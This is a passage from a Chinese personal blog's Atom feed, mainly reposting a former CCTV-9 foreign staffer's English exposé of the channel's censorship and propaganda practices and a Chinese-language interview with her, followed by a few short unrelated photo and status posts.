BBC – everyone was there except “Your first window on China.”&lt;br /&gt;When an enterprising intern who also worked as a translator and interpreter wanted to do an exposé on China’s woefully unsupervised translation and interpretation business, she was told to forget it. “Why would you want foreigners to know about this problem?” demanded those in charge. The irony seems lost on them that this method of making China look good is simply exposing the country as a joke.&lt;br /&gt;So they’re especially stone-faced when someone within the ranks refuses to deliver the punch line. We had a business reporter exceptional by any standards who kept implicitly asking: “But what is China reforming from? Never mind all the self-praise for digging ourselves out; how did we get into this hole in the first place?”&lt;br /&gt;When she finally quit CCTV-9 in frustration to work for a renowned global news service, an executive producer sat her down and threatened to personally ruin her career by informing every official and person of consequence whom she would ever need as a source that she was untrustworthy and shouldn’t be touched. When she wasn’t moved, she got a star’s sendoff. Several high-ranking executives wrote slurs for her personnel file and then made her pay a full year’s salary.&lt;br /&gt;But it’s natural that CCTV-9 would want her under their wing instead of someone else’s. They study the foreign press, and they know what happens when journalists go legit.&lt;br /&gt;“Influence on the rise—China’s military,” Ellis Joffe, 10/09/02.&lt;br /&gt;“Annan: China Must Curb AIDS Spread,” Martin Fackler, 10/10/02.&lt;br /&gt;“Tiananmen ‘Black Hand’ Chen’s 13-Yr Sentence Ends,” 10/10/02.&lt;br /&gt;“Liberties in Doubt: Hong Kong,” Mike Jendrzejczyk, 10/11/02.&lt;br /&gt;“China’s Changing of the Guard: Another murky leadership transition leaves the world guessing,” Melinda Liu and William Dobson, 10/12/02.&lt;br /&gt;“In China, flood of fake diplomas,” Ted Plafker, 10/15/02. These entries appear in a weekly survey dated Oct. 15, 2002 of China coverage in the foreign press. It circulates among the executive producers at CCTV-9 and probably originates in the Foreign Ministry. The survey is comprehensive and includes neutral-toned articles on business, sports and culture.&lt;br /&gt;No one to whom I showed this survey knew exactly how it was used at CCTV-9, but it’s evident that management is kept in the loop of the state’s monitoring of foreign journalism. Not one of these stories was ever covered by CCTV-9. When we want a lively domestic tidbit to lead a broadcast, here’s what we go with:&lt;br /&gt;“Premier Zhu went to visit an organic farm in Salzburg, some 140 miles west of Vienna. The farm has an area of 38 acres, half grassland and half forest. Products made of sheep’s milk are the main industry on the farm.”&lt;br /&gt;Footnote: 1. Yes, you read that right, “the Three Represents.” I won’t trouble you with an explanation of this body of thought, but I will tell you the Chinese Communist Party has pronounced it a breakthrough in Marxist ideology, which guarantees it a spot in China’s political catechism - see also the One Country-Two Systems policy, the Three Antis, the Three Direct Links, the Four Cleanups, the Five Antis, the Five Red Categories, the Five Black Categories, the stinking ninth category, the Ten Major Relationships, the Sixty Points on Working Methods, etc.&lt;br /&gt;Part 2 in the "China's Propaganda Machine" Series. To read part 1 click here&lt;br /&gt;It’s no surprise that our writers don’t know what a story is. There are very few Chinese over the age of 30 who do, thanks to China’s four-decade intellectual retreat after 1949.&lt;br /&gt;Most of our writers are in their 20s and have no journalistic education or experience. But CCTV-9 offers no training for new hirees or interns and no rewards for initiative or self-development. Incoming Chinese staffers pass an English test that might consist of reading three sentences out loud, which starts them off as deskbound writers. From there, they can move up to directing, anchoring or field reporting. The third and final rung is the position of producer/censor.&lt;br /&gt;Communist Party membership, highly coveted and hard-won, is helpful for the first two rungs, essential for the third. The executive tier is a sort of Mount Olympus populated by entrenched party members who have attained their status through sheer longevity.&lt;br /&gt;The "Olympians" are our greatest obstacle to change, according to a consultant I spoke to who has been advising CCTV-9 on competing in the global media market. With virtually no experience as correspondents, no presence in the newsroom and no production duties despite their “Producer” titles, they provide no accumulated experience and no example of professional advancement. They have no standing in the community as professionals or achievers and no status outside CCTV-9.&lt;br /&gt;They function mainly as two-way filters, tediously reviewing tape after tape of every broadcast and attending endless meetings at which they take directions from higher officials to pass down to newsroom staff.&lt;br /&gt;It is said that they hate their jobs. One of them sadly remarked at the time the business writer departed that no global news organization ever came after him; he’d be lost in a real newsroom.&lt;br /&gt;As prominent as these people are in the hierarchy, they’re devoid of basic management skills. They’ve established no system to reward quality, no program to recruit or cultivate talent, no channels to air gripes or disseminate information, and no chinks in the language barrier between techies and editorial types.&lt;br /&gt;As for shaping a team, forget it. There are no regular meetings, with two exceptions, which I’ll get to. When I was first hired, I asked the informally elected leader of the Foreign Experts why our group, at least, didn’t meet once a month. He explained that management would view this as “organizing,” something labor is forbidden to do in a country whose political philosophy is grounded in workers’ rights. So story consults, brainstorming sessions, editorial reviews, and God knows what else goes on in a real news organization, are nonexistent.&lt;br /&gt;Another gap in this picture is our audience. CCTV-9 has created no community of producers and consumers. I’ve stumbled across feedback (critical) in the Chinese and the Western press, but it was never discussed.&lt;br /&gt;Because we get a free ride from the state, we don’t bother with money issues such as advertising revenue and marketing surveys. And because we haven’t done our homework in this regard, we function under the vague assumption that most of our viewers are foreigners living in China and Chinese who want to improve their English. Those outside China are assumed to be “affluent and educated,” because after all they have satellite television.&lt;br /&gt;Where Ignorance Is Bliss&lt;br /&gt;With the stakes so limited and advancement so unrelated to performance, ignorance and incompetence are not issues at CCTV-9. When one asks Chinese staff to clarify an ambiguous point in a story, the immediate and final response is typically, “I don’t know.”&lt;br /&gt;We don’t do follow-up. We don’t do phone calls. We don’t keep card files or directories of business or political leaders. We don’t subscribe to any online information services except the wires. There’s a buggy database of our news scripts that goes back a few months and a room where tapes of the current year’s evening broadcasts are stored, but no searchable catalog, print or electronic, of our footage.&lt;br /&gt;Lacking contacts, a reference library or an internal database, we turn to the Internet when we need answers. Because we don’t have the technology to bypass the state’s Internet censorship, we sometimes simply have to get by without answers.&lt;br /&gt;It’s really too bad the Voice of America’s Web site is blocked, because we have no guide for foreign pronunciations except the BBC and CNN broadcasts we watch in the newsroom. (I consider our access to these shows one of the job’s best perqs, because it is an intellectual luxury in China that barely exists outside of five-star hotels and pricey apartments traditionally occupied by foreigners.)&lt;br /&gt;Our business and financial coverage is especially blind. Almost no one who works on our “Biz China” has any notable expertise in business or economics.&lt;br /&gt;I attempt to copyedit an item that refers to Chinese rural land ownership, which puzzles me. “Is rural land ownership legal in China?” I ask the writer. She stares at me in bewilderment. I repeat the question in increasingly simple iterations, and her answer is still a frightened stare. I don’t know if it’s because this 19-year-old business writer doesn’t know the answer to the question or because she doesn’t know what “land ownership” is.&lt;br /&gt;In the end, the censor ends the confusion by ordering me to strike out the sentence. I’m confronted with an item on auction house scandals that concludes, “Christie’s escaped by being the first to give crucial evidence.” I want only to know what Christie’s escaped: indictment, prosecution, fines? When I query the writer, she responds in some confusion: “It says Christie escaped. He fled the country.” I consult her wire copy and get the facts. I’m too sober an individual to let the anchor say on the air, “Sotheby’s was fined, but Christie’s fled the country.”&lt;br /&gt;Footnote 2: This situation changed a little during the Iraq war, when more people were tuned in and management realized we’d better improve our image. One day an executive producer dashed breathlessly into the newsroom and announced that we couldn’t use the word “coalition” anymore in reference to the British, Australian and U.S. forces. He had just gotten off the phone with “a foreigner” - credentials, profession and native language all unasked - who complained that “coalition” connoted to him, personally, a large number of countries, and that “allies” was the preferable term. That’s all it took to set a new editorial policy for our Iraq war coverage.&lt;br /&gt;Part 3 in the "China's Propaganda Machine" Series. To read Part 1 click here. To read Part 2, click here.&lt;br /&gt;There are a few things CCTV-9 staffers do need to know. These are imparted once a week at a meeting headed by an executive producer and attended by all Chinese staff who are not on duty in the newsroom. Foreign Experts are excluded.&lt;br /&gt;This is where the mission of making China look good is hammered in, where Dos and Don’ts are handed down from realms beyond, where the staff is told what to cover and what to cover up. It’s a straight lecture session, no Q&amp;amp;A, no suggestions sought.&lt;br /&gt;One Chinese writer surmised to me that it’s a repeat of what the leader of the meeting himself would have gone through earlier at the hands of higher officials, who in turn had it from even higher officials, and so forth. The overall message driven in week after week is that because we are broadcasting to foreigners, there is only so much propaganda we can get away with. Therefore, we should discuss certain of China’s problems and, crucially, show that China is handling them just fine.&lt;br /&gt;That’s how a mass poisoning case in Nanjing turns out to be all about the party’s conscientiousness. “Authorities are doing all they can,” we lead, “to save the food-poison victims.”&lt;br /&gt;“Upon learning of the incident,” goes a follow-up story, “leaders of the Central Committee of the Communist Party of China and the State Council demanded the Jiangsu Provincial Committee of the Communist Party of China and the provincial government do what they can to save the others. The victims have been sent to 10 hospitals in Nanjing, where over 500 high-quality medical specialists are taking care of them.”&lt;br /&gt;The story does not reveal that 42 people died.&lt;br /&gt;There’s another meeting, less regular, for the Communist Party division at CCTV-9. This is attended by those staffers who are party members, and sees action much more dire. The Dos and Don’ts are threats. Staff who have made mistakes are fined or otherwise punished. An especially bad slip-up and the party can get you fired. The most serious punishment of all is expulsion from the party, which means not only the loss of your job, but the loss of your career and personal ruin.&lt;br /&gt;There were certainly no slip-ups during the second week of November 2002, when the Chinese Communist Party held its once-every-five-years National Party Congress, or NPC. This is the Chinese equivalent of electing a pope, marrying off the Prince of Wales or sending a manned mission to Mars.&lt;br /&gt;You might remember the NPC as the week-long event that brought about the most recent leadership change in China, exceptional for its bloodlessness and unexceptional for its secrecy. Chances are good that you don’t remember it at all; Western coverage mostly consisted of journalists standing around Tiananmen Square telling a camera, “We don’t really know what’s happening inside.”&lt;br /&gt;It’s therefore a tad difficult to explain the urgency and obsessiveness that set the Chinese media ablaze and sent CCTV-9’s writers, censors, producers and directors scurrying in all directions, hastening to change a word here or a comma there, imperiously issuing orders, and flying to TV sets with the volume turned up to the maximum to absorb every wooden minute of our coverage.&lt;br /&gt;You would have thought it was a real newsroom, except that the propaganda reached such heights of crassness that it provoked some minor revolts among the Foreign Experts and served as the catalyst for my finally sitting down to write all this.&lt;br /&gt;We’re talking about an authoritarian government with a legacy of tens of millions of murders that claims it has always served the best interests of the overwhelming majority of the Chinese people; it will later censor SARS coverage after supposedly coming clean about its cover-up and establishing information networks on the disease.&lt;br /&gt;Now, during the NPC, it is anointing its new elite, with the commander-in-chief of the Tiananmen Square massacre in the field of candidates and an unspecified intention to drag 1.2 billion people headlong into its latest political experiment. Imagine the kind of press coverage it’s demanding.&lt;br /&gt;While the world was counting down to war in Iraq, the entire first block — not just the first story, but the first block — of every CCTV-9 broadcast was dedicated to the “profound historical significance,” the “major event not only for China but for the rest of the world,” the “significant landmark,” that was the 16th National Party Congress of the Communist Party of China.&lt;br /&gt;What was so pressing and momentous? What was the story that so desperately needed to be told? Well, that “Delegates interviewed all spoke highly of Jiang Zemin’s Three Represents thought,” that “Serving the people wholeheartedly is the aim of the Communist Party of China,” that Chinese abroad “noted that as China’s ruling party, the Chinese Communist Party is praiseworthy for its ceaseless efforts to keep the country stable and prosperous,” and that “It was a proud moment for many overseas Chinese when President Jiang Zemin stepped onto the podium and began to deliver his report at the opening session of the CPC National Congress. The event kept them glued to their screens, their hearts beating in time with their motherland’s.”&lt;br /&gt;If you’re not sold on the significance of these carryings-on then you’re in an insignificant minority, as CCTV-9 reported. “The CPC National Congress received congratulatory messages from world leaders including the Ukrainian President and the prime minister of the Cook Islands, as well as the People’s Party of Cambodia, the Labour Party of New Zealand, and other major political parties in various countries around the world.” Beyond all, “It was an open discussion of Jiang Zemin’s report to world’s media and delegates spoke open-mindedly and freely.”&lt;br /&gt;Does management miss the unintended humor here? Do they share none of the feelings of the Chinese staff who write this stuff?&lt;br /&gt;I assisted a Chinese writer in creating one of our regular digests of foreign coverage of the NPC, a cherry-picking exercise meant to show that the outside world was trumpeting its admiration for these obscure and undemocratic proceedings. It was something like the old joke about movie ads—you know, Critic X says, “It was a five-star snooze” and the ad says, “Five stars from Critic X!!!” The writer wilted as we surveyed our Google hits. Every reputable news service centered on the one topic we were forbidden to discuss in any of our NPC coverage, the leadership change. She knew no one would be convinced when she wrote:&lt;br /&gt;Associated Press gave a vivid description of the venue of the congress.&lt;br /&gt;The Washington Post said Jiang Zemin opened the congress by cementing the party’s shift away from China’s dispossessed, which are disappearing in China, towards its growing middle class.&lt;br /&gt;Another influential US newspaper, the New York Times, said the new party congress will set a political and economic direction for China in the years to come.&lt;br /&gt;Hard Core, Soft Soap&lt;br /&gt;CCTV-9 is gonzo journalism compared to what they do at the Chinese-language news channel, CCTV-1. Their stuff is meant for domestic consumption, and it’s hard-core. None of this slipping in a few of China’s problems to sop a savvy foreign audience. Every word, every pause, every comma is carved in stone. Doesn’t matter if it’s accurate or complete or even logical.&lt;br /&gt;Unfortunately, because it’s 100 percent safe, a lot of CCTV-1 content winds up in the English newsroom. We’re ordered to translate and air it, using the same video and natural sound. It’s only the Foreign Experts, trying to polish this stuff into acceptable news copy, who are irked that names and sources are missing or the rationales for new regulations aren’t given. Statistics in particular are thrown about like confetti with no meaning or attribution.&lt;br /&gt;And with China’s population of 1.2 billion, you can get some pretty good raw numbers - quantity of cell phone users, amount of foreign direct investment - but it’s always up to us at CCTV-9 to do the math if we want to set the numbers in a meaningful context. Even if we try to follow up, the organization lets us down. Although we’re obligated to use CCTV-1 content, we can’t get their reporters to return a phone call or fill in their swiss-cheese stories even though they’re just six floors below us.&lt;br /&gt;To worsen matters, CCTV gives all its press passes to CCTV-1, so we have to rely entirely on their coverage of such major events as a visit from President Bush or a ministerial-level news conference.&lt;br /&gt;The exception is, say, the August 2002 visit from UN High Commissioner of Human Rights Mary Robinson; CCTV-9 was there to elaborate on the claim that she was “satisfied” with China’s human rights record (for the opposite view see any western coverage of the visit), but CCTV-1 wasn’t there at all and never uttered a word about the visit. Chinese viewers aren’t to be told that human rights is even an issue in their country.&lt;br /&gt;&lt;br /&gt;Joan Maltese of San Diego worked for China Central Television. Next in the series: China controls the people by keeping them in ignorance.&lt;br /&gt;&lt;br /&gt;这个老美在CCTV-9工作了一年多,发表了一些内部看法... 其实谁都知道, 中央台就是一个愚民政策的宣传机器...&lt;br /&gt;一个美国人在中国中央电视台工作的感受--访前CCTV英语频道外籍专家琼·玛尔提丝 （按：琼·玛尔提丝 Joan Maltese 女士2002年至2003年在中国中央电视台为英语九频道工作了一年半时间。&lt;br /&gt;在隒CCTV的工作合同期满之前，她记录、撰写了自己在那里工作的经历和感受。返回美国后不久，原文（英文）在美国Newsmax新闻网发表。据玛尔提丝本人介绍，文章发表后引起中央电视台英语频道的关注和有关负责人的暴怒。介绍玛尔提丝女士到那里工作的人也受到了严厉指责。本采访是此一前提下做的。本采访有所删节。采访中提及的玛尔提丝的那篇文章，有兴趣的读者可登陆Newsmax.com网站查找阅读。）&lt;br /&gt;北明（以下简称 “明”）：您知道吗？你对自己在CCTV工作经历的描述和对在那里所见所闻的评价，听上去像是一个职业记者，一个媒体专业人士。我的意思是说，虽然您没有受过新闻专业的训练和教育，但是您在做那些您刚才所提及的有关新闻职业知识的调查与学习前，就?一种非正常的新闻作业环境感到不舒服，是吗？&lt;br /&gt;琼．玛尔提丝（以下简称“琼”）：是的。我一直就知道我们基本上……我们没有遵守新闻记者的真正的，真正的使命。我总是知道这一点，从一开始我就知道，因为……&lt;br /&gt;明：您自然而然就知道这一点？&lt;br /&gt;琼：啊，是的。因为那里有新闻检查员，就坐在我们的新闻部办公室，是政府的新闻检察员。而且有时候我们写的最初的新闻稿件被改了。我完全知道。&lt;br /&gt;明：您完全知道。不过您注意到吗？如果是中国人，甚至是中国新闻学院受过专业教育的中国人，他们在那种情况下也许根本不会感到有什麽地方不对头。&lt;br /&gt;琼：啊，也许是的。我想是的。事实上他们觉得做政府让他们做的事，不报导真相而试图让中国看起来不错，是十分自然的事情。&lt;br /&gt;明：所以您的感受跟在那里工作的中国人有根本的不同。&lt;br /&gt;琼：是的。&lt;br /&gt;明：您知道原因吗？&lt;br /&gt;琼：啊，当然，你知道，我已经习惯于阅读西方媒体的新闻报导，我对这些媒体有一定的期待。我的意思是说，我的期待是，媒体是对所有人开放的，它不能站在某个立场，专门对政府作出回应。不仅不对政府作出回应，而且与政府是竞争关系，矛盾的关系。不光是站在政府一边，做政府让它们做的事情。所以，我对媒体的期待当然是完全不同的。很多我的中国朋友告诉我，他们成长期间，甚至当他们在语言学校里的时候，就被告知不能相信外国人，不要相信外国媒体，外国媒体在中国问题上撒谎。所以他们在开始参加工作的时候已经认为中国政府才讲真话，外国媒体不能信任，外国人也不能信任。&lt;br /&gt;明：当您了解了这种情况时，您什麽感受？&lt;br /&gt;琼：你知道，因?中国有12亿人。我全部所能做的就是希望某一天某些真相之光显露。我的工作可以改变一点这样的现实。那是我写出我的经历的原因之一。因为我工作是为这样一个……我是说我工作了18个月，真正是为这个宣传机器工作。这是一个不名誉的机器。就是这是原因，我决定我应该讲出真相。是的。我持续地希望，中国人对他们在青少年时期所接受的不高尚的教育变得越来越有怀疑性，对政府所告诉他们的话有越来越有多的质疑。&lt;br /&gt;明：您知道有一些中国媒体专家，包括美国大学的或者媒体的专家，批评美国媒体。&lt;br /&gt;琼：是的，是的。&lt;br /&gt;明：他们说，美国的媒体在撒谎方面跟中国的一样：你们也不说真话，不报导真实的消息。但是这些人当中的美国专家并不真的了解中国媒体的表现。在您的经验当中，比较两方面的媒体，在报导真实方面，您有什麽评价？&lt;br /&gt;琼：在这方面，自动地，当然所有的媒体机构都有人支援，都发表各自不同的见解、观点。但事实是，至少在西方媒体中有很多声音、很多见解、很多计划。你可以得到很多不同的故事，从而自己找到真实的资讯。更重要的是，在许多情况下，您可以自己去到私家资讯中心来源去找到资讯，找到，啊……政府在网上发布的政策、政策的声明，你不必要等到媒体把政府说了什麽这类资讯转达给你。你可以自己去找。而且，你有要求媒体报导真实情况的完全自由。你可以面对媒体，对他指出：你撒谎。诸如此类。在中国你就不能这麽做。因为媒体是，基本上是政府的代理。如果你到中国媒体去指称他们：你撒谎，你为政府歌功颂德，你立刻就有麻烦。另外就是，那里只有一个，只有一个声音。中国只有一个官方的声音。你得不到多重的观点，你的不到不同的多样的观点，那只有一个观点。所以中国人没有机会了解别人人怎麽说，别的可能的访谈是什麽样的故事。&lt;br /&gt;明：比较中国政府对媒体的控制----事实上政府开办、媒体管理---您认为是否有可能，有任何办法，美国政府可以那样控制媒体？因?我们知道，美国政府经常遭受媒体的攻击。&lt;br /&gt;琼：我觉得美国政府唯一可以控制媒体的办法是，不告诉媒体有关他们的消息。我觉得那是他们可以控制媒体的最好的办法。虽然如此，一些记者会寻找途径，找到那些愿意泄露资讯的人。所以美国政府最有希望的控制媒体的办法就是不让资讯泄露给它们。基本上我不认为政府可以真正地控制新闻。任何时候，比方说，如果美国领导人打电话媒体组织，给一个报导施加压力说，我不喜欢这个新闻报导。立刻，这事本身就会被报导出来。我是说，如果有人给CNN说：停止报导这个事情。 CNN就会报导说，咳，今天有打电话给我们要求我们停止这个报导。所以，美国政府没有多少机会控制媒体。我想，一个证明就是事实上，许多美国政府的官员经常抱怨媒体，抱怨它们的报导不真实。你知道，如果这种情况总是发生，总是抱怨它们报导不真实，那麽很明显，美国的媒体是不受控制的。&lt;br /&gt;明：我记得美国打阿富汉的时候，布希对CNN播放了当时发现的本拉登的一个讲话不满，认为是替恐怖份子做了宣传。所以布希接受CNN访问时，希望CNN访问他的时间在长一些，以便他表达的清楚些，但是CNN说：不。你的时间到了，就这麽长。&lt;br /&gt;琼：是啊。是啊&lt;br /&gt;明：别说控制媒体了，你连被采访的时间有多长都控制不了。&lt;br /&gt;琼：当然。你能不能想象，胡锦涛如果想要被采访，噢，上帝，CCTV1或者CCTV9必定放下所有它们手中的工作，落实这个采访。而且，在采访播出前，他将看到要播出的所有内容。所以是的是的。我是说，事情不像那样。&lt;br /&gt;明：布希还抱怨说，CNN帮了本来登的忙，帮助他宣传他的恐怖思想，甚至那个讲话是个秘密战斗动员令也说不定，怎麽能够在战争期间，在这样的非常时期播放。但是CNN才不管这一套。照播。&lt;br /&gt;琼：对对。是的是的。&lt;br /&gt;明：琼，请告诉我，在您?CCTV9工作的时候，您跟那里工作人员的新闻价值观念完全不同，工作态度和方式也会表现在您的工作中，这种情况下，您怎麽跟您的同事打交道？&lt;br /&gt;琼：啊，你知道有些事情，对于我对一些事情的观点，我们之间在许多无言的一致的见解，默契。人们，每个人都知道我们必须怎麽做。每个人都知道我们应该怎麽做。外国人憎恨的事情，中国人，我想大部分时间里是听天由命，他们就是顺从。有时候，私下里，我们聊起来，我们会提起某某人愚蠢，有时候有的中国记者会感到非常沮丧，但是大部分时间里，由于我们都知道我们在这里是生为一种宣传品，因为我们对此有共识，我们对现状没有太多的抱怨。现在，我们确实经常不断会有对政治的争论，比方中国共产党好还是不好，中国的对外政策是否正确这类话题的争论，这是一种每天生活中都会发生的争论，但是对于我们实际上做的事情，我是说，虽然我们外国人知道来这里就是为了宣传而写，中国人也知道在这里是为宣传而写，这确是一个接受的事实。这是一个不情愿地接受的事实。&lt;br /&gt;明：如果他们没有发现您的文章，或者如何您没有发您你的文章，您认?您可以或者愿意回到CCTV去工作吗？&lt;br /&gt;琼：啊，我不会回去为CCTV工作。我愿意为一个真正高尚的、积极寻求调查事实真相的媒体工作，而不是去?一个宣传机器工作。我愿意，我愿意回到中国去，我愿意在中国为CNN、或者美联社、或者路透社工作。我愿意味香港的凤凰、或者翡翠电视台工作。但是我不会回去为CCTV工作。因为我觉得我在那里工作了18 个月，我尽可能了解了那里的情况，那里的工作非常没有生气，而且对我来说也没有任何提升的机会。所以我不会回去。&lt;br /&gt;明：您对我的中国听?或者你的在大陆的中国朋友还有什麽要补充的？&lt;br /&gt;琼：有一件事我想说：我的这些谈话不是反对中国或者中国人民。我谈的是一些我希望中国人知道但他们不知道的事情。我觉得真的很难过，中国人经常需要到外国人那里才能知道他们自己的国家发生了什麽。而且我知道很多有良知的人、善良的人、工作努力的人，希望了解真实的情况，希望改善他们的生活，想要改变他们的国家，愿意成为美国人的朋友。我的文章是为这些人写的。我真诚地希望中国人，尤其是那些?自由而抗争、为了解真实而抗争的中国人，能够了解我的这篇文章的内容，了解这个采访的内容，感到某种鼓舞。能了解到，这里有人在为他们讲真话。而且，愿意就他们国家所发生的事情跟他们沟通情况，分享资讯。&lt;br /&gt;明：谢谢您，琼。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-1242225101066098799?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/1242225101066098799/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=1242225101066098799' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/1242225101066098799'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/1242225101066098799'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/11/how-chinas-propaganda-machine-works.html' title='How China&apos;s Propaganda Machine Works'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-73838294821890060</id><published>2007-10-20T19:57:00.000+08:00</published><updated>2007-10-20T20:07:22.515+08:00</updated><title type='text'>富士的相机广告</title><content type='html'>&lt;a href="http://2.bp.blogspot.com/_6JSTY21Fftg/RxnuozSHFrI/AAAAAAAAAIk/ZzfE5Oy_Kc4/s1600-h/20070728054.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5123388435838998194" style="CURSOR: hand" alt="" src="http://2.bp.blogspot.com/_6JSTY21Fftg/RxnuozSHFrI/AAAAAAAAAIk/ZzfE5Oy_Kc4/s400/20070728054.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-73838294821890060?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/73838294821890060/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=73838294821890060' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/73838294821890060'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/73838294821890060'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/10/blog-post.html' title='富士的相机广告'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_6JSTY21Fftg/RxnuozSHFrI/AAAAAAAAAIk/ZzfE5Oy_Kc4/s72-c/20070728054.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-2942553011939731013</id><published>2007-08-31T21:46:00.000+08:00</published><updated>2007-08-31T21:49:16.945+08:00</updated><title type='text'>没时间写blog，只好把一些签名贴在这里</title><content type='html'>i don't have enough time to keep an eye on this problem,and also no time to discuss with anybody&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-2942553011939731013?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/2942553011939731013/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=2942553011939731013' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/2942553011939731013'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/2942553011939731013'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/08/blog.html' title='没时间写blog，只好把一些签名贴在这里'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-3561542084612906964</id><published>2007-08-28T10:45:00.000+08:00</published><updated>2007-08-28T10:51:47.251+08:00</updated><title type='text'>today QQ signature</title><content type='html'>2007年8月28日凌晨2：03分；盯着某人整整2.5年前的一张帖子发呆&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-3561542084612906964?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/3561542084612906964/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=3561542084612906964' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/3561542084612906964'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/3561542084612906964'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/08/today-qq-signature.html' title='today QQ signature'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-4821813541898741854</id><published>2007-08-27T04:23:00.000+08:00</published><updated>2007-08-27T04:33:00.296+08:00</updated><title type='text'>风行</title><content type='html'>&lt;a href="http://1.bp.blogspot.com/_6JSTY21Fftg/RtHjc-26wXI/AAAAAAAAAIc/sUmni793SMg/s1600-h/20070817569.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5103109939836666226" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://1.bp.blogspot.com/_6JSTY21Fftg/RtHjc-26wXI/AAAAAAAAAIc/sUmni793SMg/s400/20070817569.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://4.bp.blogspot.com/_6JSTY21Fftg/RtHjJu26wWI/AAAAAAAAAIU/ZOWMWvMCHCA/s1600-h/20070814495.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5103109609124184418" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://4.bp.blogspot.com/_6JSTY21Fftg/RtHjJu26wWI/AAAAAAAAAIU/ZOWMWvMCHCA/s400/20070814495.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://1.bp.blogspot.com/_6JSTY21Fftg/RtHiz-26wVI/AAAAAAAAAIM/V4mKFvDfFVQ/s1600-h/20070813472.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5103109235462029650" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://1.bp.blogspot.com/_6JSTY21Fftg/RtHiz-26wVI/AAAAAAAAAIM/V4mKFvDfFVQ/s400/20070813472.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://3.bp.blogspot.com/_6JSTY21Fftg/RtHige26wUI/AAAAAAAAAIE/LuipJWUQxmU/s1600-h/20070806265.jpg"&gt;&lt;img 